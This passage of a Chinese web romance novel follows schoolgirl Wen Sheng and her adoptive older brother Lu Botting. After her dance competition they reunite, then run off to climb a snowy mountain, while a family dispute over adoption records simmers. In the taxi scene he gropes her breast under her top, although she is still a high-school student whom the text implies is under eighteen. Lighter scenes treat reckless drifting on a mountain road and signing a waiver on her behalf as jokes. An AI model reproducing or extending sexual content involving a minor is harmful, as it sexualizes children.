门外堆的人更多了,唐媛白着脸站在门侧,刚才那通话像一桶脏水从她头顶猛然泼下,有人路过还吹了声讥嘲的口哨。
压抑窒息的难堪哽在胸口不上不下,她用力装成一副面无表情的样子撞开那群围观的人低头下了楼。
身后传来三三两两的戏谑声——
“没劲儿啊没劲儿,还以为会打起来。”
“啧,我都替她尴尬。”
“温姐赛高!”
外面的雪下的更大了,不到六点钟天就全黑了,江乐橙靠向大厅的落地窗,冷风从周缘的细缝钻进来,她搓了搓胳膊还是小声问了句:“你和你哥以后怎么打算?”
温声没穿外套,白色的内衬只搭了一件轻飘飘的刺绣薄纱,她也不觉得冷,耸耸肩淡笑:“我不会分手的。”
江乐橙突然就松了口气,语气也轻快起来:“上大学离开家就好了阿声,我很看好你两!”
她可是他们的cp粉,绝配顶配好么。
看了眼时间,离比赛开场还有不到一刻钟,温声取走自己的书包,找出手机给她
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,“一会我跳的时候你帮我拍一下视频。”
他如果没赶上,那她拍下来给他看。
江乐橙坐在礼堂阶梯座位的顶层,她挑了个正中间的位置,眼睛禁不住地扫过手机屏幕下方的一道人影。
黑色耳机挂在黑色冷帽上,又是一身黑色卫衣,暗色身影在一群穿浅色校服的学生里格外扎眼,尤其周围人又时不时往他身上瞟两眼,她眯眼凑近屏幕仔细辨了辨,他靠向椅背长腿随意抻开,这会正在调相机,漫不经心的视线偶尔转向台上。
这优越身形,这恣睢坐姿,这清冷派头。
不是路草是谁!
于是,手机镜头快速调整方向,舞台和他的座位全被拍了进去。
温声的节目是在后半场,快到她上场时,她小跑到窗前看外面的雪势。
骤风暴雪,窗户蒙了一层霜。
完全没有要停的迹象。
指尖在窗户上轻轻一勾。
是个不太看得出来的L。
台上汇报温声的节目单时,江乐橙下意识去看路泊汀,他的身体开始微微前倾,摘下耳机扣回脖子,单手举起相机固定好镜头,又偏头直勾勾地看向舞台。
一副很认真的在给女朋友记录的样子。
周围人见路草突然拍起视频,各个都一副震惊脸。
明明前半场十几个节目都没怎么见他抬眼看过。
舞曲响起,头顶的灯光聚在温声身上,她穿的浅蓝色刺绣民族舞服,在轻快与铿锵的跌宕声里,腰肢时而宛伏,又徘徊幌动,蓝色舞裙在她辗转回弯的旋绕中,似浪潮澜起,舞曲的旋律依然明快流转,潮水沄沄,不断潆洄,她碎步盈盈,黑丝如缎,在空荡的舞台上只留下她曳曳曼妙的舞姿。
曲声开始变得悠长舒缓,波涌渐渐落潮,在一片喧腾的掌声里,她凌空跃起做了一个漂亮利落的收尾动作。
比她以往的任何一次排练都要完美的一场表演。
江乐橙按下录像结束键,又低头看向路泊汀,他还举着相机,另一只胳膊搭在扶手,手指扶撑着下巴,姿势好像没怎么变过,就那么一瞬不瞬地看着温声。
她敢打包票,他现在一定在笑。
评委席的老师还在给她评分,温声眼睛飞快掠过台下,但人密密麻麻一片,视线只能先从首层扫过,又从中间层快速看过去,忽然,她发现了在众多手机中举起的相机。
而那只相机对准她正在慢慢抬高。
直到她看见他手腕处的黑色手串。
眼睛乍然一亮。
路泊汀坐直身子,眉眼昭然如画,又朝她惯常地挑眉一笑。
相机旁是他竖起的大拇指。
好久不见。
好久不见了。
54. 早就喜欢了
评委老师说了什么温声已经听不进去了,只知道得了小组最高分获了金奖,她看到路泊汀起身朝礼堂后门走,和几位老师微微鞠躬后飞快跑下台去休息室换衣服,后台这会全是人,有女生边卸妆边小声闲聊——
“我朋友发了张照片,说是路草今天来学校了。”
“让我看看让我看看。”
“快给我看!”
温声快速换下舞服,没来得及穿毛衣,在紧身吊带上直接套了件外套。
“芜!虽然没拍清脸,但我还是觉得他帅。”
“这种就是毫无技巧又很直接的硬帅,但是……他在拍谁?”
“我瞧瞧!”
几个人围在一起猛盯那张清晰度较低的照片,场内的光线本来就很暗,又是斜后侧拍的,只能拍到他一身深色隐在座位里,支起的胳膊露出一截清棱净白的手腕,手指托着一只相机正对准台上。
视线却是偏过屏幕直截看向舞台。
非常直白又情有独钟的目光。
有女生看了一眼发来照片的时间,十五分钟前。
“刚才比赛是谁上的场?”
刚问完话,休息室就倏尔一静。
一众目光飘到角落换衣服的温声身上,她弯腰穿鞋时麻花辫滑下肩侧,跳完舞后小脸还泛着粉,几缕耳侧的碎发微微拂动,又在起身时,空气带动发丝飘在眼前,直直扫过白皙的脖颈和娇红的脸颊。
杏脸桃腮。
又是一张轻轻松松就完胜的脸。
不过……
这两人什么情况?
怎么就暗度陈仓在一起了?
嘶……
正说着呢,人家当事人就出现了。
路泊汀侧身倚在门外,他穿了羽绒服,臂弯还搭着一件长身大衣,过道纷纷攘攘,身边擦过很多即将上台和表演结束离开的人,唯独他站的那块位置好像格外空敞,他就那样黑眸带笑地看着她手忙脚乱地收拾东西。
在一片嘈杂拥塞中,为她留出一处安静注目的等待。
温声终于收拾好东西,背起包就往门外冲,目光触到他时脚步霎时一滞,喉咙像被胸口涌起的闷涩堵住,鼻子也划过尖细的酸。
看到他,就说不出任何话。
路泊汀扯唇轻笑,走进来勾过她的书包,又打开手里的大衣罩在她身上,弯腰凑近轻轻吹她泛红的眼睛,“哭什么呢?”
说完也不顾四周多少人的睽睽盯视,手撑向她脑后挨近自己的肩侧,另一只胳膊圈住她的腰身,贴身慢慢偎拢。
给了她一个随时随地都可以依靠的如影随形的拥抱。
听到她隐隐的吸鼻子声,路泊汀垂头伏在她的耳侧,热息萦绕,嘴唇抚过她的耳朵,轻声道:“好想你啊宝宝。”
等到两人离开,休息室里的一众人相视无言,半晌,有人出声:“咳,这空调开的太高了,你们热吗,好热啊……”
“唔……我也有点热……”
*……*
直到出了学校,温声还没回过神,小手紧紧握住他的手心,小声嘀咕道:“我以为你今天不来了。”
路泊汀揉了揉她的脑袋又弹她脑门:“答应过你的事什么时候失约过。”
家里还不知道他回国,两人打算先回宁湾,温声瞅了一眼他腿边支着的行李箱,上面架了一只很大的黑花Keepall,鼓胀胀的像是塞了很多东西,“里面装了什么呀?”
路泊汀滑手机在叫车,偏头看过去,随即一声哼笑,收起手机拉开包链,里面是一束用淡蓝色马海毛印花棉布包裹的鲜花。
温声哇的叫出声,微红的眼睛立马弯成一道好看的月牙,接过那束装捆的非常灵巧精致的花,垂眼看过去,各式各样的蓝色花朵,外围被蓝色郁金香和蓝色鸢尾大片裹环,中间是几束淡蓝色的洋桔梗和蓝百合,四周用一圈繁碎的深蓝色雏菊和腊梅围拢,最中间却是一支橙黄明丽的向日葵。
她最爱蓝色。
也最爱向日葵。
低头细细一嗅,花香清新淡雅,“你什么时候买的?”
感觉眼泪又要冒出来。
路泊汀手指刮过她的鼻尖,从包里又翻出一只手工玩偶小熊,没怎么见过的样子,它还穿了一件蓝色碎花针织小裙子,圆乎乎的脑袋上别了好几个蓝色小发卡,睁着一双圆乎乎的眼睛,模样有些呆傻懵懂。
还有些可爱。
“有没有觉得特别像一个人?”
温声左手抱花,右手搂过那只小熊,鼻子蹭了蹭它的耳朵,毛茸茸又软乎乎,肚皮还透着棉布的清香,随口问道:“谁啊?”
路泊汀盯着她没说话。
温声抬头,一双水涔明亮的眼睛茫然地看向他。
他突然低笑出声,又摇头叹息:“一样的笨。”
温声反应过来了,朝他翻了个白眼,“这些东西在哪里买的呀?”
他一手拉近她,在她身上的大衣口袋里摸来摸去的,“上飞机前在机场大厅溜达了一圈随手买的。”
随手吗?
温声又扫过手里的花和玩偶,包装都很精细,抬眼偷偷摸摸地瞄他。
鬼才信。
两人就站在学校旁边的公交站,雪还在下,路上人很少,路泊汀终于从衣服里翻出一封信塞进她手里,信封是很简约普通的牛皮纸,没有任何装饰,封面还泛着淡淡的木质书墨味。
“我的道歉信。”
欠了她半个月的道歉,至此降临。
温声捏紧手里鼓起来的信封,有些犹疑地开口:“你写了很多吗?”
他很臭屁的啧了一声,视线却瞟到别处不看她:“只是简单记录。”
他对她的话怎么可能写得完。
温声趁他接电话时,胳膊小心地避开花瓣,手指快速拆开那封信,好几页信纸叠在一起,她又飞快看了他一眼,他和司机在确认上车位置。
手指拨弄,打开的先是最后一页信,字体很飘逸。
入眼只看清结尾的一句——
I love you because you are you.
我爱你,因为你就是你。
无须多言。
路泊汀顺走她手里的信,叠好后又丢进大衣口袋里,朝她蛮害羞的眨眼睛:“哎宝宝,等我不在的时候你再偷偷看。”
车刚好停在面前,他去后备箱放行李,温声低头盯看布偶熊身上的碎花裙,很像她小时候的裙子,悄声道:“你别对我这么好。”
路泊汀过来牵她,没听清她说的什么,“先回家放东西,晚点带你出去吃饭。”
温声趴在车窗上,外面大雪纷飞,莹莹雪花不断扑向车窗,又被风吹远,江城临近圣诞的节日氛围很浓,马路两边的商圈办了很多圣诞主题元素的集市,隔一会就能看到一棵精致可爱的圣诞树,花花绿绿的颜色缀在灰蒙的雪天里,有种格格不入但又异常相称的和谐感。
这样的天气很适合私奔。
头顶一沉,他脖子挂的那副耳机戴上了她的耳朵。
降噪太好,她刚才筑起的隐遁世界突然就安静了下来,路泊汀特意挑了一首圣诞歌,舒缓的轻音乐在耳边响起。
温声刚转身,就被他环住腰推压向车门,低头轻轻咬住了嘴唇。
音乐好像被按下慢倍速,她完全听不到任何声音,只能觉察到自己藏匿在耳机里不停扑腾的心跳声,意识本能地陷进他温柔的侵占里。
她搂上他的脖颈微微仰起头开始回应他。
车内很安静,司机开了很足的暖气,他塞着一只有线耳机在听电台,路泊汀上车前特意嘱咐三倍价钱让他尽量绕点路,明明只有十五分钟的路途,他就要专注地磨蹭时
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间。
要开够半个小时。
很久没亲昵,两人都没闭眼,路灯掠过他黑曜曜的眼睛,垂眼时眸光幽邃灼热,温声有点受不住他的目光想要躲开,被他曲起的食指顶起下巴,两人的视线再次对上,他的眉眼晃过笑意,高挺的鼻梁故意擦过她的鼻尖,带着微茫的凉意,鼻息却紧缠溽烫,温声下意识向后缩脖子又被他撑在脑后的手朝前一推。
亲的更深了。
唇舌附着柠檬海盐糖的甜腻清涩,舌尖先是绕着她的唇边顶触舔舐,在她迷离喘息时,胳膊伸进大衣,又不客气地撩开她的外套,在贴上她的紧身吊带时,他哼笑出声。
两人都想到了第一次他剪开的那件吊带。
温声趁他轻笑时狠狠瞪了他一眼,睁大眼睛提醒他——你还欠我一件吊带呢。
路泊汀探手从下摆钻进去,对着她又是一副做作的挑眉眯眼——小问题啊宝宝。
手指先是触到那团绵软,指腹打着圈地不断拨蹭,她被揉的喘出声,身体贴近他,无意识地迎合他,麻花辫散开后的碎发贴在潮红的脸上,上扬的明眸凝在他身上,带着显而易见的情动勾惹。
啧,他来了感觉。
但快到家了。
在温声以为他要更过分时,他却收手,抬手整理好衣服,扫过她迷离失神的眼睛后突然摘下耳机,轻声问了句:“宝宝,你是什么时候喜欢我的?”
神情褪去侃然,目光悄寂。
正遇红灯,车缓慢停了下来,温声刚想说话,他又侧头嘬了口她的耳朵,“我从没想过你会喜欢上我。”
擦过耳边的声音更低了。
不等她反应,耳机重新扣回她脑袋上,听觉又变得朦胧,他刚才触到了切歌键,耳机里开始放下一首歌。
一首很适合末路私奔的经典老歌。
她偏头,窥出他唇角微动——
可我一直都很爱你。
胸口猛然一钝。
车子发动,音乐伴奏声响起,圣诞树上的点点亮灯从车窗滑过,路泊汀斜靠回座位伸手捏她的脸。
一切都在照常发生,但温声的眼睛又冒出酸哽热气。
她从没有直白地承认过喜欢他。
哪怕一次,从没有过。
在他的骄恣嚣张不可一世下,隐伏着只对她才有的自馁泄劲没把握。
——Now what if never kiss your lips again?
(如果我再也吻不到你的嘴唇会怎样?)
温声突然调高音乐声,歌手磁性缠绵的嗓音骤然变大,回旋在两人身前,她的胳膊又攀上他的脖子,圈紧下压拉近,以一种近乎索求的姿势贴上他,丝毫不在意司机会不会在后视镜看到,她探舌抵开他的唇,又缠舐他的舌头,头高高仰起,窗外的灯照过她的眼睛。
一片湿溻。
路泊汀眼神微沉,撑在她脑后的指尖轻挠她的颈肉。
无声地询问。
耳边还在放歌。
——without you there’s no place to belong.
(除了你我不属于任何地方)
她微微摇头,眼泪顺着眼角滚下,另一只手摸上他的冷帽帽檐,向下一揪,他的眼睛被遮了住。
不要看我。
专心吻我。
路泊汀喉咙滚了滚,没掀开帽子,嘴唇一偏,蹭到了她的眼泪,他的呼吸开始变得闷抑,温声重新吻了上去,软舌滑过他的舌尖,在他低头回应时又绞紧打圈,她听不到他的喘息声,一片湿濛中只能看到他发红的鼻尖,于是退出舌头轻轻舔抚他的嘴唇,手指不断慰摩他发际的短发。
路泊汀箍紧她的腰想要退开时,就听到她哑声哽泣道:“我在喜欢你时,突然才意识到我早就喜欢上了你。”
55. 私奔
直到坐上车温声还是一脸难信,凑近使劲摇他的衣摆:“你真要带我去爬雪山?”不等他说话,眼睛睁大又紧忙追了一句,“确定今晚就走?!”
太太太突然了。
正遇红灯,路泊汀随意放了首歌,推开她的脑袋,揶揄一笑:“不是要私奔么。”
成年前登顶人生第一座五千米的雪山是她十五岁的生日愿望。
“你什么时候知道的?”
她记得那张许愿单早就丢了……
路泊汀开大音乐,他没穿外套,掩进黑T的颈侧依稀能看到浅色吻痕,随着音乐声悠悠吹起口哨,发动车时才漫不经心地偏额瞅向她,笑的很臭屁:“老公比你想象中还要了解你啊宝宝。”
嘁。
温声呶起嘴巴装作很不在意的样子看窗外,半晌才偷偷瞄了他一眼。
怪煽情的。
到一家24小时营业的户外店时已经是晚上九点钟,距离登机还有三个小时,店长是路泊汀的朋友,提前打过招呼已经准备好了大件装备,两人快速试过后又去了附近的药店和便利店。
温声挑防高反的药品时眼前递过来一只手机。
“给家里打个电话报备一下。”
是她的手机。
晚上比赛后忘记从橙子那里拿回来了。
“唔……”
放学到现在她还没给家里打电话……
路泊汀拿过两盒暖贴,轻飘飘地瞥她,随口问:“怎么了?”
温声点开手机,姚书文一个小时前给她打过电话,低下头语气有些蔫:“能不打吗?”
他撕开一片暖贴伸手扒拉她的衣服领口,贴在她的左肩胛下面后又问了句:“发生什么事了?”
药店里的两排货架靠的很近,她几乎被他圈在了身前,不用抬头也知道他一直在盯自己,暖贴的热流慢慢淌进心房,身体开始暖了起来。
温声侧过身浅浅一笑,摇头:“今晚想当个不太懂事的小孩。”挑眉询问,“应该可以吧?”
路泊汀扫过她的手机屏幕,随即若无其事地耸肩哼笑。
“Anytime。”
两人分工很明确,一人挑小物品另一人挑重要必备大物件,不到半个小时就全部搞定了,所有的东西搬上车后,又去附近的茶餐厅取了提前订好的餐,回车的路上温声看见路旁有一家人很多的音游店,电子摇滚乐的机械冲击感隔着玻璃门都能感应到。
她很久没玩了,想也没想拽着他的胳膊就往里冲,“我们跳一把再走!”
路泊汀睨着手里的两个食品保温袋后直叹气,又掏出手机看时间。
啧,距离登机还剩不到两个小时。
继续摇头叹气。
店里的音游机设计的都很花里胡哨,温声快速办了一张跳舞机的卡,手指滑动选择了情侣模式,见他在打电话没看这边,于是很坏心眼地挑了首骚气满满的舞曲。
就还挺配他的。
“哎宝宝,不太会跳呢。”袋子放在一旁的架子上,路泊汀手里转着手机朝她蛮难为情地一笑。
“你别装。”
温声狠狠翻了个白眼,以前江城老牌街舞房第一骚王可不是白叫的。
早在很小的时候,姚女士就建议他们要多拓展兴趣爱好,让他两抽签选兴趣班,在二十几张抽签纸里,她抽中了街舞,他是拉丁舞,同样都是舞蹈,两人的反应截然不同。
温声摔进姚女士怀里,皱起小鼻子扁嘴道:“妈妈,我不想学街舞……”
路泊汀却是一副嬉皮笑脸,在其余三人面前很大方地来了段恰恰的踮脚扭胯,最后朝路康做了一个非常妖娆放浪的摸脖杀,凑近他勾唇谑然一笑:“有您当年的风韵么老爸?”
少年星眸红唇,盯着他笑时调侃意味十足。
路康急忙贴紧身后的沙发靠背,嘴唇动了动……
但……
说不出一个字,最后只能神情无奈地搓了把脸。
路家出个无忌不羁的人不容易。
姚女士摸了摸女儿的小脑袋又朝儿子竖起大拇指,笑的很不客气:“你爸年轻的时候如果有你一半凑趣就不会追我那么辛苦了。”
追了五年才追到老婆的路康坐到一旁假意在看电视。
一张老脸搓的通红。
“那阿声和哥哥重新选一次吧。”
那时候他两关系还不好,哦不对,只是路泊汀单方面不乐意和她处好兄妹关系。
温声贴在姚女士怀里抬眼看他,见他表情渐渐淡了下来,想说要不算了吧,结果他先搭茬了:“那我换街舞呗。”
看向她的目光一如既往的寡淡。
后来她去学了芭蕾,他也跳了很长一段时间的街舞,两人练舞的舞室还挨在一起,她一直以为他只是丢二郎当地随便跳跳。
直到,她窥到了那天晚上的他。
当时练舞结束后温声本来想先回家的,换衣服时听到隔壁舞室传来一阵一阵的叫喊起哄声,火热松弛的氛围和她们这边的静谧迥然不同,犹豫片刻,背着书包走了过去。
站在玻璃门外她第一眼就看到了被很多学员和编舞老师围成一圈的他,在中间空敞的舞地正放情纵荡地跳着那样一支性感即兴的舞。
背音是一首90年代的Acid Jazz,风格十分热火欢快,她是在舞曲进行到中途时来的,音乐的旋律不断高频迭进,贴近窗户踮起脚尖,正好看到他在做一组送胯扭腰的动作,漫不经心的律动中带着极具流畅节奏的控制力。
编舞老师朝他好像说了句什么玩笑话,室内又响起了轰然哗笑声,他弯唇也笑了起来,脸颊的酒窝尤为明显,少年时期的他笑的很好看也很顽劣,弧形漂亮上扬的黑眸很拽皮的扫过镜子里的所有人,又干净利落地作出转胸甩头的定点动作。
他的肢体发出的每一个颤抖扭的动作,舞感的核心控制和快速发力都极为灵动,那首音乐的劲热节奏正朝尾音转换,他又卡点很准地摆臂转圈,身体力量的释放极致地糅合在每一次阴柔和外放的动作里,由内而外的散发出撩惑不拘的气势。
明明是很柔性的动作,但他作出来却丝毫不显女气,相反很冷艳酷率。
只知道他平时跳街舞,没想到Jazz跳的也出乎意料的好……
温声轻咳一声,趁他从镜子里看过来前,背着书包弓腰快速从玻璃门前跑过,直到跑到楼下,身后的喧然笑乐声还隐约从楼道里传出来。
也是那次,街舞社少年第一骚王的名号就落到了他头上。
家里在收到国际青少年街舞比赛的报名预录名单时,除了温声,其他人都是一副震惊脸,尤其是姚女士,她还特意跑去医院,给当时刚做完肠胃手术还在休养的老人看那张名单:“妈,这是我儿子吗?”
路泊汀的奶奶戴上眼镜,两人凑近那张名单看了好一阵,又和上面参赛学员的照片对比了半天。
最后姚书文不得不承认,这就是她儿子……
路泊汀被他妈的脑回路逗的很想笑,又挺心酸地叹气。
他在家里,是真没什么存在感,也是真没什么认可度。
后面的比赛路泊汀自然而然没有去参加,好像是因为姚书文在他面前随口提了一嘴妹妹最近很讨厌跳舞的男生。
但这都是后话了。
“能先奖励个亲亲么?”
周围人群熙攘,温声撇撇嘴,快速拉过他的衣服踮脚贴向他唇角,退开前又有意无意地用舌尖轻轻勾抵过他的唇隙。
接着神情不耐地看他。
可以了吧大哥。
路泊汀挑眉玩味一笑,收起手机站在跳舞机的另一侧。
温声选的是Kpop花式模式,本来还在开开心心的玩,结果跳着跳着就开始后悔了,四周围观的人越来越多,她红着脸边踩键边小声碎碎念:“你收敛点。”
别太骚了。
她有点丢不起人啊……
路泊汀好像没听到似的,故意贴紧她身后,头肩和胸胯蹭着她的肢体不断扭动起伏,舞蹈的节奏动感急促,但配上他妖里妖气的表情。
就很……
一言难尽。
路泊汀招惹完后快速站回自己的位置上踩键回她,笑的格外浪荡,“不是你让我跳的吗宝宝。”
忍无可忍。
温声抬手穿过感应键在空中快速给了他一拳。
“啧——”
结束后她的脸涨红,垂着头只想拖着他赶紧走人,周围站了一圈人,还有个男姐妹隔着人群朝他喊话:“能加个联系方式吗?!”
路泊汀提着保温袋似笑非笑地睇他,又给了他一个你别搞老子的警告表情:“哥们铁直啊。”
说完牵着她就往外走。
温声抬头无意间瞟到人群里有个熟悉的身影,她蹙眉,想要再看清时,人潮攒动下那抹身影转身消失不见。
出了店,路泊汀见她突然沉默起来,捏她的脸,“怎么了?”
“我说你们去爽让我当车夫也就算了,能速度点不?”
不远处忽然响起一道歪里邪气的声音。
温声的话音瞬间落回嗓子,看向那个站在车旁说话很野全身很蓝的人。
路泊汀动作很粗鲁地甩给他车钥匙:“半个小时能到吧。”
温声看了眼时间,去机场最快也要一个小时,半个小时就很不现实。
除非他是飞人……
飞人何让生手里转着车钥匙,指尖的蓝色晃来晃去,瞅着她一副不太愿意相信他的犹疑表情,扯唇笑的很烂:“妹啊,一会儿坐稳了。”
温声坐上车后才知道他嘴里的坐稳是什么意思,他竟然选了条山路……
还是一条没怎么开发的崎岖山路。
“护膝和运动手套戴——”
砰——
车子一个捷速压弯漂移,胳膊猝不及防撞上左侧车门,手里的护膝甩了出去,路泊汀扶住胳膊踹前座,语气很凉:“不想开就滚下去。”
温声上车后就被他扣上了安全带,但她的小心脏还是突突突跳个不停,山上的盘道多是陡嶙的斜坂,水泥雪路严重打滑不说,车速在窄道上如果不降下来很容易翻车,她快速瞄向窗外,黑幽幽的一片看不清任何东西,但视线在黑蒙里很高旷,那旁边肯定就是陡崖……
这天气他竟然还在飙车!
何让生降下车窗鬼叫个不停,寒风迅速灌入车内,他从后视镜瞥到路泊汀刚坐稳,在下一个过弯时又快速反打方向盘来了个甩尾漂移,狂劲嚣张的哼笑声在温声耳朵里很吓人:“好久没跑山了,专业赛车手的技术你们怕什么?”
这是怕吗?
这是要死啊!
路泊汀再次被猝然甩上车门,身体撞击发出钝响的嘭咚声,温声肾上腺素飞飙的同时,小眉头当即就皱了起来,张嘴想说话,但这两人的相处模式就是互相犯贱。
抿唇闭嘴,她管不了。
路泊汀甩晃被撞疼的胳膊,扯唇笑了笑也不气,手里没穿的徒步鞋砸向他后脑勺,又俯身快速从他衣服里顺走手机,二话不说开了扬声器拨了通电话
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。
何让生切了一声满脸不屑,踩下油门打算从缓坡的灌丛冲下去,“你打给谁都不顶……”
“让生?”
电话突然被接通。
刚才还嗡嗡吵个不停的车内顿然一静。
温声睁大眼睛,这个声音好温柔……
瞟了一眼骤降的车速,路泊汀挑眉笑的蔫坏,身体靠前伸胳膊很贱地将手机麦克风递近他耳边。
电话两边都先是无声,隔了几秒——
“既然已经说清楚了就不要再打扰我了,好不好?”
语气很柔婉清泠,但细听下又带着坚执的绝然。
温声下意识屏住呼吸,大眼睛使劲往前面的人身上瞄,结果这人的表情没任何变化,甚至握着方向盘的长指还在不紧不慢地打着拍。
一副寡趣乏味的轻淡样子。
但车速却是慢了下来……
何让生一直没说话,对面也没再说话,动静最大的反而是路泊汀。
他已经开始抖腿了。
又隔了几秒钟。
滴——
对方挂断。
这下轮到路泊汀鬼叫了,他迅速降下旁边的车窗,朝黑漆一团的窗外丝毫不客气地嗥声嚎叫了半天,叫喊声在深山崖谷里传来呼噪叫嚣的回声。
回音一阵又一阵,似嘲讽不断。
温声也跟着眯眯眼笑了起来,趁车开的慢低头飞快换鞋子。
叫完还觉得不尽兴,路泊汀又给一齐的兄弟们开始发语音,凑近何让生耳边口吻诨侃声音故意很大。
哇哦,今晚这个贱人他必须当啊。
“哎逗死我,猜猜谁被甩了?”
“啧,讲个今年最好笑的……”
……
有人立马回过来语音,点开:“这还用猜啊,何让生这个死狗呗。”
庵加河的电话奚落的很是及时:“我等这个老逼翻车等了十八年,何让生——”他大声吼出来,“你也有今天啊——”
车内又是一阵大呼大叫的嘲笑声。
温声胳膊推挤过去让路泊汀收敛点,结果自己没忍住也笑出了声。
何让生诶!
平时拽的二五八万的还不是被甩了。
猛踩下油门,何让生支起下巴收下所有的损嘲,笑的还蛮云淡风轻的:“老子给你们都记了一笔。”
到机场时不多不少刚好半个小时,路泊汀很快换好衣服下了车,留温声一个人在车里吃东西。
“温志强最近入职了一家成安区的安保公司,他和姚姨这段时间都去过福利院,至于他们查到了多少我就不知道了。”
领养档案无故被消除,姚书文不用多久就会顺藤摸瓜查到温志强。
路泊汀看向车内,温声这会脸颊一鼓一鼓的吃的很开心,移开视线淡声道:“她知道是迟早的事。”
“你舅什么时候能有结果?”
早在回纽约的当天他就和姚洲远坦白了,想在温志强被路家查出来前独身找到黎雨,难乎其难。
“最快一周吧。”
车窗被按下,温声探头递给他手机,语气有些怯生:“妈妈打给你的。”
揉了揉她的头发,接过手机。
“喂,妈。”
“回国了吗?”
很直接的语气,带着两人之间心照不宣的推问。
路泊汀扫了一眼温声,朝何让生打了个响指后晃到车后面,漫不经心地回话:“下午刚到。”
电话那边的姚书文手里好像在翻什么东西,过了一会又问:“阿声呢?”
“您有话直说吧妈。”
翻东西的声音忽然停下,路泊汀靠在后备箱目光凝向不远处有人堆的小雪人,个头不大堆得却很精致,鼓圆的脖子还有一圈红色的围巾,有种憨乎乎的喜感。
很像小时候的温声。
“福利院的领养档案是怎么回事。”
来了。
他浅浅一笑,手指勾起车上的积雪:“什么怎么回事?”
姚书文的声音始终很低:“你知道的儿子,我不是在问你问题。”
“那您既然都知道何必再问我?”
“我知道什么?”
他突然就被问住了,指尖又无意识地扫开刚才那处雪融的地方。
“我不同意,你知道我不同意什么,福利院的事情我等你主动来和我谈,我给你一周的时间。”
机场大厅内的登机广播响起,路泊汀呼出热气,湿濛白雾在眼前疏开后又快速被风覆在脸上,片刻,声音生涩:“我没懂,您不同意什么?”
隔着电话,翻东西的声音再次响起,他听见她突然生笑:“这两天好好玩吧。”
温声背着包从车里出来时,看到他靠着车盯向远处的小雪人在发呆,“路泊汀……”
他忽而转过头,眼圈泞着红。
心口倏然一抽,酸哽感瞬间从四肢百体冒出来,她当作没看见慢步走过去,牵起他的手,很凉:“我们走吧。”
他轻笑,指腹还泛着冰水沾湿的红,抬手蹭她的脸颊:“好冷啊宝宝。”
“都和你说了要多穿点!”
温声解开背包拿出暖贴,撕开一片去扒拉他的领口,认真贴在他的左肩胛,又替他整理好衣领,再次抓住他的手:“走吧。”
她的眼圈也冒出潮气,眼睛一直低敛着没看他。
何让生从旁边走过来啧了声开始赶人,又在擦过路泊汀身边时低声说了一句。
“怕什么,有什么好怕的。”
56. 爬山(一)
从梧城到阿谷木的山镇时已经是早上六点钟,温声刚下车就有点喘不上气,镇上的海拔早就超过三千米了,放眼看去,旅宿的不远处就是叠延耸峭的山岭。
她还没从市区低盆湿冷的气候适应过来。
路泊汀前胸后背挎好两人的背包,低头看她,细嫩白皙的小脸被冷风吹得发红,朝她的眼睛轻轻吹气:“难受吗?”
温声眨巴眼睛时无意识换了瞬气,横在胸口的闷气渐渐舒散,盯着他身上那两只一大一小超过100L的包,摇摇头又鼓起脸颊小声叽咕:“今明两天的包我自己背,你别管我。”
语气还带着没睡醒的困盹。
瞅着她没多少肉的小身板,他很难不扯唇哂笑,在她瞪过来时只好摊手一副你随意的表情,又趁她转身时,卸下自己的大包故意压在她纤瘦的背上。
“哎——”
突然的重物压上来,温声没反应过来朝前直扑去,一只大手从身后快速拎住她的衣领。
“还背么宝宝?”
路泊汀俯在她耳侧偏过头看她,冷风吹过,明亮的浅瞳漾出一层很淡的清滢水光,周围寥落微暗的路灯刚好照在她脸上,见他忽然靠过来,她又用余光微瞄他,眼底的细碎水光也跟着粼粼漪动,脸颊还有一道浅浅的睡痕。
很娇憨也很乖。
没忍住,他凑近蹭了蹭她的眼尾,又滑向她的唇角,嘴唇与嘴唇的细摩触碰,带着潮灼呼吸的模棱缠撩。
身前身后,大风飒飒,他斜过身子很温柔地吻她,手里的那个背包抬起给她挡风,天寒地冻间,她只觉得从昨晚就发胀酸楚的心口正在一点一点开始回暖。
“背啊,你背我就背。”
浅促唇齿间的声音很含混,但他听得很清楚。
她还有一句很隐糊的话。
——我总不能一直被你照顾吧。
到集中民宿时当地的向导已经坐在大厅在等他们,给两人交代好注意事项后递过来两张纸:“时间比较紧,我们十点钟出发去拉神谷,中间徒步两千米,你们只有不到三个小时的准备时间,风险承诺书签好后就可以回房间收拾了。”
温声接过那两张纸,说白了就是生死状,还没细看就被路泊汀抽走,他简单扫了一眼后快速落了笔按下手印,又替她签好名抓起她的手按手印,玩忽散漫的口吻惊坏了站在一旁的向导:“哎宝宝,要死一起死。”
向导想提醒他两个人最好分开签名,刚张嘴,就被他的打诨轻笑堵住了嘴:“还是我先死吧,提前去给你探探路。”
温声倏地甩开他的手,小脸立即绷了下来,“能别乱说话吗?”
向导见气氛好像不太对打算先离开,搓了搓手支吾片刻,只好上前有些尴尬地从路泊汀手里摸走那两张纸,脸上堆满干巴巴的笑意:“十点钟准时在大厅集合哈。”
等向导离开后,温声从他手里取走自己的包看都没看他一眼转身上楼。
脸色很冷。
路泊汀背着包跟在她身后伸手去勾她的小手。
被甩开。
又去揪她的衣摆。
啪——
被她反手拍开。
“唔,好痛……”
楼梯间上下走动的游客饶有趣味地看着这对长相俊俏的小情侣,一个面无表情一步两台阶,一个跟在身后态度虽歉疚但时不时伸手招惹犯贱一下。
这哪是道歉?
必须分手好吗。
民宿的房型是无遮挡视野的全景房,清晨的太阳刚好升起,抬眼就能看到远处的高峰那层稀薄雾气正在缓缓散开,渺渺曦光游移凝融,直到那处巅岩被熠熠金辉完全燎罩。
日照金山。
对他们而言,在一起的每分每秒都弥足珍贵。
时间不该用来吵架。
温声收回视线,倚向落地窗看他,低软的声音里泛着闷:“以后能别说那种话吗?”
几年前的那场车祸现在想起来她还是心悸后怕。
他死了,那她怎么办……
对上她冒湿发红的眼睛,路泊汀喉咙滚了滚收起逗谑,指腹细抚她的眼圈,又搂过她的腰,轻声哄道:“对不起宝宝,照顾你保护你爱你……”下巴伏进她的颈窝,贴的很紧,“是我这辈子都要做好的事。”
三个小时很快,站在大厅内临出发前温声的发绳突然断了,长发散下来时她有一瞬的慌神,周围没有卖这种小物品的商店,山上风大而且凌晨会有大暴雪,攀徒过程中披发会很麻烦……
路泊汀抽紧她的鞋带,起身给她戴好手套后瞟过她的长发,从包里拿出保温杯塞进她手里:“多喝点水。”
“可……”
他取下手腕的串珠,又站在她身后动作很笨很慢地给她编头发,嘴里还要自顾自地吹嘘两句:“啧,我这编发技术不愁以后养不活你。”
